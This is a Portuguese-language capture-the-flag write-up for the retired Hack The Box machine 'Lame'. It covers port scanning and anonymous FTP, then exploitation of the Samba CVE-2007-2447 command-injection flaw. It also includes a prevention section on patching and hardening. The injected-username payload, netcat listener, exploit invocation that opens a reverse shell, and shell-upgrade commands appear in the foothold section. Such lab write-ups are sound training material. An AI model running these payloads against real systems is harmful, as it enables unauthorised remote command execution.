​Lame - HTB Easy Machine - Português Brasil

OS Linux
Difficulty Easy
User Owns 76.2K
Root Owns 79.5K
Rating 4.6/5
Release 2017/03/14
Creator ch4p
First Blood User 0x1Nj3cT0R
First Blood Root 0x1Nj3cT0R
User Rated Difficulty

Sobre

Lame é uma máquina Linux de nível fácil, exigindo apenas um único exploit para obter acesso root. Foi a primeira máquina publicada no Hack The Box e, antes de sua aposentadoria, muitas vezes era o ponto de partida para novos usuários.

Exploração

Enumeração

Vou começar executando o fastmap ou você pode usar o próprio nmap, que já vem na maioria das distribuições Linux. Como podemos ver, temos 5 portas abertas para investigar.

PORT     STATE SERVICE     VERSION  
21/tcp   open  ftp         vsftpd 2.3.4  
| ftp-syst:    
|   STAT:    
| FTP server status:  
|      Connected to 10.10.16.2  
|      Logged in as ftp  
|      TYPE: ASCII  
|      No session bandwidth limit  
|      Session timeout in seconds is 300  
|      Control connection is plain text  
|      Data connections will be plain text  
|      vsFTPd 2.3.4 - secure, fast, stable  
|_End of status  
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)  
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
| ssh-hostkey:    
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)  
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)  
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)  
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Host script results:  
|_smb2-time: Protocol negotiation failed (SMB2)  
| smb-os-discovery:    
|   OS: Unix (Samba 3.0.20-Debian)  
|   Computer name: lame  
|   NetBIOS computer name:    
|   Domain name: hackthebox.gr  
|   FQDN: lame.hackthebox.gr  
|_  System time: 2025-08-24T21:09:25-04:00  
|_clock-skew: mean: 2h00m21s, deviation: 2h49m46s, median: 18s  
| smb-security-mode:    
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  

FTP 21

Usando o método anonymous, conseguimos logar no servidor FTP, mas não há nada de útil aqui.

ftp 10.10.10.3  
Connected to 10.10.10.3.  
220 (vsFTPd 2.3.4)  
Name (10.10.10.3:nika): anonymous  
331 Please specify the password.  
Password:    
230 Login successful.

ftp> ls -la  
200 PORT command successful. Consider using PASV.  
150 Here comes the directory listing.  
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 .  
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 ..  
226 Directory send OK.

SMB 445

Como não conseguimos nada na porta 21, vamos ver o que conseguimos encontrar no serviço SMB aberto. Primeiro, percebemos que a versão do Samba é 3.0.20-Debian. Após pesquisar essa versão, descobrimos que ela é vulnerável a CVE-2007-2447. Segundo o aviso de segurança, essa vulnerabilidade foi originalmente relatada em chamadas anônimas para a função MS-RPC SamrChangePassword() quando combinada com a opção "username map script" no smb.conf (não habilitada por padrão).

Este PoC explica de forma clara a vulnerabilidade:

Para explorá-la, tudo que você precisa fazer é alterar o usuário de autenticação para:

username = "/=`nohup mkdir /tmp/foo`"

Existe um script em Python muito bom para explorar essa falha, mas como desafio pessoal para aprender uma nova linguagem de programação, reescrevi o payload em rust. Recomendo que você faça o mesmo na linguagem que mais gosta. Esse exercício ajuda muito a entender como a vulnerabilidade e o serviço funcionam.

Foothold

O payload que criei está disponível no meu github e, seguindo os passos do repositório, conseguimos obter uma reverse shell.

Primeiro iniciamos nosso listener:

nc -lvnp 9001

Então o payload:

cargo run -- --lhost 10.10.16.6 --lport 9001 --target 10.10.10.3

Conseguimos uma conexão com sucesso:

payload

Screenshot

listener

Screenshot

Agora precisamos de um TTY melhor para procurar as flags:

python -c 'import pty; pty.spawn("/bin/bash")'

CTRL+Z

stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Após alguma enumeração, conseguimos encontrar as flags nos diretórios abaixo:

USER

root@lame:/# cat home/makis/user.txt  
98cc4cefb8.....

ROOT

root@lame:/# cat root/root.txt  
c0ce2a34355.....

Como prevenir

A melhor forma de prevenir esse tipo de exploit é manter o Samba sempre atualizado para uma versão segura. Administradores de sistemas nunca devem rodar versões antigas ou fora de suporte, pois geralmente contêm falhas críticas.

Ações recomendadas:

Atualizar o Samba – Sempre aplique patches para a versão mais recente estável, suportada pelo gerenciador de pacotes do sistema operacional.
Restringir acesso – Limite a exposição do SMB permitindo acesso apenas a hosts confiáveis ou redes internas. Isso pode ser feito com regras de firewall (iptables, ufw, firewalld ou ACLs de rede).
Desabilitar recursos desnecessários – Se pipes nomeados (username map script) ou acesso de convidados não forem necessários, desabilite-os no smb.conf.
Segmentação de rede – Nunca exponha SMB diretamente para a internet. Coloque o serviço atrás de VPNs ou dentro de VLANs internas para reduzir a superfície de ataque.
Monitoramento e logs – Monitore regularmente os logs do Samba em busca de tentativas de autenticação suspeitas e falhas de login.
Aplicar baselines de segurança – Siga guias de hardening (benchmarks CIS, recomendações do fabricante) para Samba e Linux a fim de reduzir os riscos de exploração.

Notas

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

CVE-2007-2447: Remote Command Injection Vulnerability
The master 0xdf
CVE-2007-2447 - samba code injection
CVE-2007-2447 - Samba usermap script
CVE-2007-2447